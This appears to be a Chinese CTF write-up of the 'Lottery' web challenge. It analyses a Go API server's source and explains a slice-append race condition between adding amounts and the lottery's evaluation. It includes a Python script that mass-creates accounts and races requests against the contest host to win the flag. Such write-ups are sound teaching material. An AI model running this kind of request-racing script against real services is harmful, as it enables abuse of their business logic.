Web
最近在学GoLang。
本题参考链接:https://balsn.tw/ctf_writeup/20190317-confidencectf/#the-lottery
使用Go语言编写的API服务器,下载压缩包后首先看main.go,主要是搭建一个HTTP Server。比较重要的是下面两行,分别定义了一个service和初始化了路由。
service := app.NewService(ctx, lotteryPeriod, deleteAccountAfter)
router := transport.InitRouter(service, flag)
service的返回值如代码所示:
1 2 3 4 5 6 7 func NewService (ctx context.Context, lotteryPeriod, deleteAccountAfter time.Duration) *Service { return &Service{ accounts: make (map [string ]Account), lottery: NewLottery(ctx, lotteryPeriod), deleteAccountAfter: deleteAccountAfter, } }
然后InitRouter里提供了下面的Rest API接口:
1 2 3 4 5 6 r.Get("/" , handler.IndexGet) r.Post("/account" , handler.AccountAdd) r.Post("/account/{name}/amount" , handler.AccountAddAmount) r.Get("/account/{name}" , handler.AccountGet) r.Post("/lottery/add" , handler.LotteryAdd) r.Get("/lottery/results" , handler.LotteryResults)
其中的handler.AccountGet方法,当flag变量为true时,将会在请求对应账号的响应里返回flag。
接着跟到h.service.AccountGet方法里
1 2 3 4 5 6 7 8 9 10 func (s *Service) AccountGet (name string ) (Account, bool , error) { s.mutex.RLock() defer s.mutex.RUnlock() account, found := s.accounts[name] if !found { return Account{}, false , ErrNotFound } superUser := s.lottery.IsWinner(name) || account.IsMillionaire() return account, superUser, nil }
可以看到,s.lottery.IsWinner(name) || account.IsMillionaire()为true,就可以成为superUser拿到flag。
先看s.lottery.IsWinner(name),代码如下:
1 2 3 4 5 6 7 8 func (l *Lottery) IsWinner (name string ) bool { l.mutex.RLock() defer l.mutex.RUnlock() if _, won := l.winners[name]; won { return true } return false }
最后跟到下面的函数里,也就是当账号里的amounts达到0x133700时,将会成为winner,但是由于是随机数,所以需要爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func (l *Lottery) evaluate () { l.mutex.Lock() defer l.mutex.Unlock() accounts := l.accounts l.winners = make (map [string ]struct {}) l.accounts = make (map [string ]Account) for name, account := range accounts { amounts := append (account.Amounts, randInt(999913 , 3700000 )) sum := 0 for _, a := range amounts { sum += a } if sum == 0x133700 { l.winners[name] = struct {}{} } } }
接着看account.IsMillionaire()这个条件。
1 2 3 4 5 6 7 func (a *Account) IsMillionaire () bool { sum := 0 for _, a := range a.Amounts { sum += a } return sum >= 1000000 }
只要账号的Amounts达到1000000即可,但是AddAmount函数对添加的次数和金额都做了限制,其中MaxAmount为99,MaxAmountsLen为4。
1 2 3 4 5 6 7 8 9 10 func (a *Account) AddAmount (amount int ) error { if amount < 0 || amount > MaxAmount { return errors.Wrapf(ErrInvalidData, "amount must be positive and less than %d: got '%d'" , MaxAmount+1 , amount) } if len (a.Amounts) >= MaxAmountsLen { return errors.Wrapf(ErrInvalidData, "reached maximum number of amounts (%d)" , MaxAmountsLen) } a.Amounts = append (a.Amounts, amount) return nil }
对接口进行测试
当传入4次amount后再添加amount将会报错
要想成为百万富翁,留意到Lottery里的evaluate函数,其中的append()方法有机会将100万添加到账号里。
amounts := append(account.Amounts, randInt(999913, 3700000))
看一下amounts的类型,是一个数组切片。
1 2 3 4 type Account struct { Name string `json:"name"` Amounts []int `json:"amounts"` }
对于Go里面的数组切片,如果其capacity存在冗余,那么并发写数据的时候,就会存在条件竞争的问题。
思路就是先通过handler.AccountAddAmount方法添加三次金额,然后调用handler.LotteryAdd方法和其条件竞争,写入成功即可得到flag。
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestss = requests.session() url = 'https://lottery.zajebistyc.tf' names = [] for _ in range(999999 ): r = s.post(url + "/account" ).json() name = r['name' ] names.append(name) for _ in range(3 ): r = s.post(url + f'/account/{name} /amount' , json=dict(amount=99 )) r = s.get(url + f'/account/{name} ' ) r = s.post(url + f'/lottery/add' , json=dict(accountName=name)) r = s.post(url + f'/account/{name} /amount' , json=dict(amount=87 )) r = s.get(url + f'/account/{name} ' ) print(r.text) with open('log' ,'a' ) as f: print(r.text, file=f)
得到flag: